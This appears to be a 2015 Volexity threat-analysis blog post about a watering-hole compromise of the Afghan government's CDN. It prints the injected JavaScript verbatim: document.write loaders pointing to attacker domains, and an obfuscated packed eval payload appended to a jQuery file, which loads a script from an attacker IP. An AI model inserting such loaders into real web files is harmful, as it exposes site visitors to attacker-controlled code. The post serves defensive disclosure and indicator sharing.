VOLEXITY

Incident Response & Suppression

Home

Afghan Government Compromise: Browser Beware

Posted on June 12, 2015 by Steven Adair

Visiting a wide-ranging number of websites associated with the Government of Afghanistan may yield visitors an unwanted surprise. For the second time this year, malicious code has surfaced on, **cdn.afghanistan.af,** a host that serves as a content delivery network (CDN) for the Afghan government. Javascript code from this system is found on several different Afghan Offices, Ministries, and Authorities. This strategic web compromise (SWC) against the Afghan CDN server has effectively turned a large portion of the government's websites into attack surfaces against visitors. Volexity recently detected malicious code being loaded after a user visited the websites for the **President of Afghanistan** (www.president.gov.af).

Second Round of Attacks

In a previous attack highlighted earlier in the year by ThreatConnect. One of the two primary Javascript files accessed from the CDN system was modified to load code from two different malicious URLs. In the past attacks, the following file was modified to load unwanted Javascript:

> *http://cdn.afghanistan.af/scripts/gop-script.js*

In these instances the offending code was easily identifiable, as the attackers simply prepended document.write statements to the very top of the gop-script.js file as seen below:

```
document.write("<script src=http://update.javaplug-in.com/o/j.js><\/script>");
document.write("<script src=http:\/\/neoting.com/pay/danal/PhoneBill/07/1.js><\/script>");
```

However, this new round of malicious code has two primary differences. The first difference is the attackers chose to modify a different file in this round. The offending code is no longer present in gop-script.js, as this file was cleaned up some time ago. However, malicious code is now found in the following Javascript code on the Afghan CDN website:

> *http://cdn.afghanistan.af/scripts/jquery-1.4.2.min.js*

The next major difference is the attackers went through more of an effort to obfuscate their activity by appending their code to the end of the file and by leveraging the Dean Edwards Packer with base62 encoding. In this instance, the packer effectively makes it more difficult to discern exactly what the attackers have done just by looking at the code. The image below shows the malicious code as it currently appears within the jquery-1.4.2.min.js file:

```
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c
+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\
\b','g'),k[c]);return p;}('5.6(\'<1 7="2/3" 4=\\"b://c.d.8.9/0/0.a\\"></1>\');',14,14,'Jquery|script|text|
javascript|src|document|write|type|101|24|js|http|176|58'.split('|'),0,{}))
```

Taking this Javascript and unpacking it results in a bit more recognizable code (note we have modified http to hxxp below):

> *document.write('<script type="text/javascript" src=\"hxxp://176.58.101.24/Jquery/Jquery.js\"></script>');*

This code will cause a visitor to attempt to retrieve Javascript from the Linode IP address **176.58.101.24** and load it into the browser.

Selective Exploitation

One of the more interesting tactics that APT attackers have been employing in recent years is the usage of IP address whitelisting. Volexity believes that the attackers behind the Afghan Government compromise likely have a specific set of targets that are potential recipients of malicious code via the 176.58.101.24 address. In all observed instances thus far, only HTTP 403 (Forbidden) responses have been observed. This threat group has used similar tactics on other websites involved in strategic web compromises in the past as well. The only real way to identify the targets is to observe the code actually being seen, or see the whitelist from the server itself. At this point we can only speculate that Government and Defense entities are likely the intended targets of this campaign. If you check your logs and find HTTP 200 results, we would like to hear from you.

Network Indicators

The most straightforward and primary network indicator at this time is looking for for communication with the IP address 176.58.101.24. ASN details via the Shadowserver IP-BGP service are shown below.

> *$ whois -h asn.shadowserver.org 'origin 176.58.101.24'*
> *15830 | 176.58.96.0/19 | TELECITY | GB | linode.com | Linode LLC*

This entry was posted in APT, Exploits, Vulnerabilities and tagged Afghanistan. Bookmark the permalink.

« A New Shellshock Worm on the Loose

APT Group Wekby Leveraging Adobe Flash Exploit (CVE-2015-5119) »

Leveraging Adobe Flash Exploit (CVE-2015-5119)

› Afghan Government Compromise: Browser Beware

› A New Shellshock Worm on the Loose

› Drupal Vulnerability: Mass Scans & Targeted Exploitation

Archives

› October 2015

› July 2015

› June 2015

› April 2015

› October 2014

› September 2014

Categories

› Adobe Flash

› APT

› China

› Digital Surveillance

› Drupal

› Exploits

› Hong Kong

› Japan

› Java

› Scanning

› Vulnerabilities